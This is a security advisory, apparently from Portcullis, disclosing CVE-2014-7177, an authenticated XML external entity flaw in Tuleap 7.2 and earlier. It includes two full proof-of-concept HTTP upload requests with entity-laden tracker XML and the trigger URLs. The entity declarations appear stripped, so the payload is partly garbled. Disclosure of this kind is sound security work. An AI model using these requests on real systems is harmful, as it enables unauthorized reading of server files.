Vulnerability title: Tuleap <= 7.2 External XML Entity Injection in Enalean Tuleap
CVE: CVE-2014-7177
Vendor: Enalean
Product: Tuleap
Affected version: 7.2 and earlier
Fixed version: 7.4.99.5
Reported by: Jerzy Kramarz
Details:
A multiple XML External Entity Injection has been found and confirmed within the software as an authenticated user. Successful attack could allow an authenticated attacker to access local system files. The following example vectors can be used as PoC to confirm the vulnerability.
Vulnerability 1:
1) Upload a XXE using the following request:
POST /plugins/tracker/?group_id=102&func=create HTTP/1.1
Host: [ip]
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://[ip]/plugins/tracker/?group_id=102&func=create
Cookie: PHPSESSID=ujjrs6r6mssqn5gd5j83cmner4; TULEAP_session_hash=4a8075ce16e338b4015405cfa2816319
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------25777276834778
Content-Length: 10561
-----------------------------25777276834778
Content-Disposition: form-data; name="group_id"
102
-----------------------------25777276834778
Content-Disposition: form-data; name="func"
docreate
-----------------------------25777276834778
Content-Disposition: form-data; name="group_id_template"
100
-----------------------------25777276834778
Content-Disposition: form-data; name="tracker_new_prjname"
Commencez à taper
-----------------------------25777276834778
Content-Disposition: form-data; name="create_mode"
xml
-----------------------------25777276834778
Content-Disposition: form-data; name="tracker_new_xml_file"; filename="xee.xml"
Content-Type: text/xml
]>
123&xxe;
e123&xxe;
123&xxe;
attachment
details
A full description of the artifact&xxe;
summary
One line description of the artifact&xxe;
cc
status_id
Artifact Status
-
The artifact has been submitted&xxe;
-
The artifact is no longer active. See the Resolution field for details on how it was resolved.&xxe;
assigned_to
Who is in charge of solving the artifact&xxe;
category_id
Generally correspond to high level modules or functionalities of your software (e.g. User interface, Configuration Manager, Scheduler, Memory Manager...)
severity
How quickly the artifact must be completed
stage&xxe;
Stage in the life cycle of the artifact&xxe;
-
The artifact has just been submitted
-
The cause of the artifact has been identified and documented
-
The artifact will be worked on.
-
The artifact is being worked on.
-
Updated/Created non-software work product (e.g. documentation) is ready for review and approval.
-
Updated/Created software is ready to be included in the next build
-
Updated/Created software is in the build and is ready to enter the test phase
-
The artifact fix has been succesfully tested. It is approved and awaiting release.
-
The artifact was not accepted.
-
The artifact is closed.
Default
The system default artifact report
Results
Default
Graphic Report By Default For Support Requests
-----------------------------25777276834778
Content-Disposition: form-data; name="name"
123
-----------------------------25777276834778
Content-Disposition: form-data; name="description"
123
-----------------------------25777276834778
Content-Disposition: form-data; name="itemname"
e123
-----------------------------25777276834778
Content-Disposition: form-data; name="Create"
Créer
-----------------------------25777276834778--
2) The server will respond giving back a 'tracker number' in the response. The response contain link to specific "tracker" which will be similar to the following:
https://[ip]/plugins/tracker/?group_id=102&tracker=11
3) Using retrieved tracker number, a XXE can be trigerred by visiting the following URL:
https://[ip]/plugins/tracker/?tracker=11&func=admin-formElements
Vulnerability 2
1) Upload a XXE using the following request:
<
POST /plugins/tracker/?group_id=102&func=create HTTP/1.1
Host: [ip]
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://[ip]/plugins/tracker/?group_id=102&func=create
Cookie: PHPSESSID=ujjrs6r6mssqn5gd5j83cmner4; TULEAP_session_hash=e619b58add92383b3647ee5ba68c4a79
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------12077103611061
Content-Length: 25588
-----------------------------12077103611061
Content-Disposition: form-data; name="group_id"
102
-----------------------------12077103611061
Content-Disposition: form-data; name="func"
docreate
-----------------------------12077103611061
Content-Disposition: form-data; name="group_id_template"
100
-----------------------------12077103611061
Content-Disposition: form-data; name="tracker_new_prjname"
Commencez à taper
-----------------------------12077103611061
Content-Disposition: form-data; name="create_mode"
xml
-----------------------------12077103611061
Content-Disposition: form-data; name="tracker_new_xml_file"; filename="tracker_bugs.xml"
Content-Type: text/xml
]>
Bugs
bug
Bugs Tracker
column8
artifact_id
Unique artifact identifier&xxe;
submitted_by
User who originally submitted the artifact&xxe;
column10&xxe;
last_update_date
Date and time of the latest modification in an artifact&xxe;
open_date&xxe;
Date and time for the initial artifact submission&xxe;
fieldset_1
fieldset_default_desc_key
summary
One line description of the artifact
details
A full description of the artifact
column10
severity
Impact of the artifact on the system (Critical, Major,...)
column10
category
Generally correspond to high level modules or functionalities of your software (e.g. User interface, Configuration Manager, Scheduler, Memory Manager...)
close_date
End Date
multi_assigned_to
Who is in charge of this artifact
fieldset1
column3
status_id
Artifact Status
stage
Stage in the life cycle of the artifact
-
The artifact has just been submitted
-
The cause of the artifact has been identified and documented
-
The artifact will be worked on.
-
The artifact is being worked on.
-
Updated/Created non-software work product (e.g. documentation) is ready for review and approval.
-
Updated/Created software is ready to be included in the next build
-
Updated/Created software is in the build and is ready to enter the test phase
-
The artifact fix has been succesfully tested. It is approved and awaiting release.
-
The artifact was not accepted.
-
The artifact is closed.
column4
resolution
The resolution field indicates what happened to the bug.
column9
assigned_to
Who is in charge of solving the artifact
fieldset1
attachment
fieldset1
cross_references
List of items referenced by or referencing this item.
references
fieldset1
permissions_on_artifact
Let users groups to define who can access an artifact.
platform
source
Customer from which the request comes from.
version
Product version concerned by the bug.
title
Définir le titre d'un artéfact
status
Définir l'état d'un artifact
contributor
Define the contributor/assignee of an artifact
Bugs
The system default artifact report
Results
Charts
Graphic Report
Status
Number of Artifacts by Status
Severity
Number of Artifacts by severity level
Assignment
Number of Artifacts by Assignee
Default
The system default artifact report
Results
1
-----------------------------12077103611061
Content-Disposition: form-data; name="name"
Bugs
-----------------------------12077103611061
Content-Disposition: form-data; name="description"
Bugs Tracker
-----------------------------12077103611061
Content-Disposition: form-data; name="itemname"
bug
-----------------------------12077103611061
Content-Disposition: form-data; name="Create"
Créer
-----------------------------12077103611061--
2) The server will respond giving back a 'tracker number' in the response. The response contain link to specific "tracker" which will be similar to the following:
https://[ip]/plugins/tracker/?group_id=102&tracker=12
3) Using retrieved tracker number and URL, a XXE can be trigerred by visiting the retrieved URL:
https://[ip]/plugins/tracker/?group_id=102&tracker=12
Further details at:
https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-7177/
Copyright:
Copyright (c) Portcullis Computer Security Limited 2014, All rights reserved worldwide. Permission is hereby granted for the electronic redistribution of this information. It is not to be edited or altered in any way without the express written consent of Portcullis Computer Security Limited.
Disclaimer:
The information herein contained may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. In no event shall the author/distributor (Portcullis Computer Security Limited) be held liable for any damages whatsoever arising out of or in connection with the use or spread of this information.
###############################################################
This email originates from the systems of Portcullis
Computer Security Limited, a Private limited company,
registered in England in accordance with the Companies
Act under number 02763799. The registered office
address of Portcullis Computer Security Limited is:
Portcullis House, 2 Century Court, Tolpits Lane, Watford,
United Kingdom, WD18 9RS.
The information in this email is confidential and may be
legally privileged. It is intended solely for the addressee.
Any opinions expressed are those of the individual and
do not represent the opinion of the organisation. Access
to this email by persons other than the intended recipient
is strictly prohibited.
If you are not the intended recipient, any disclosure,
copying, distribution or other action taken or omitted to be
taken in reliance on it, is prohibited and may be unlawful.
When addressed to our clients any opinions or advice
contained in this email is subject to the terms and
conditions expressed in the applicable Portcullis Computer
Security Limited terms of business.
###############################################################
#####################################################################################
This e-mail message has been scanned for Viruses and Content and cleared
by MailMarshal.
#####################################################################################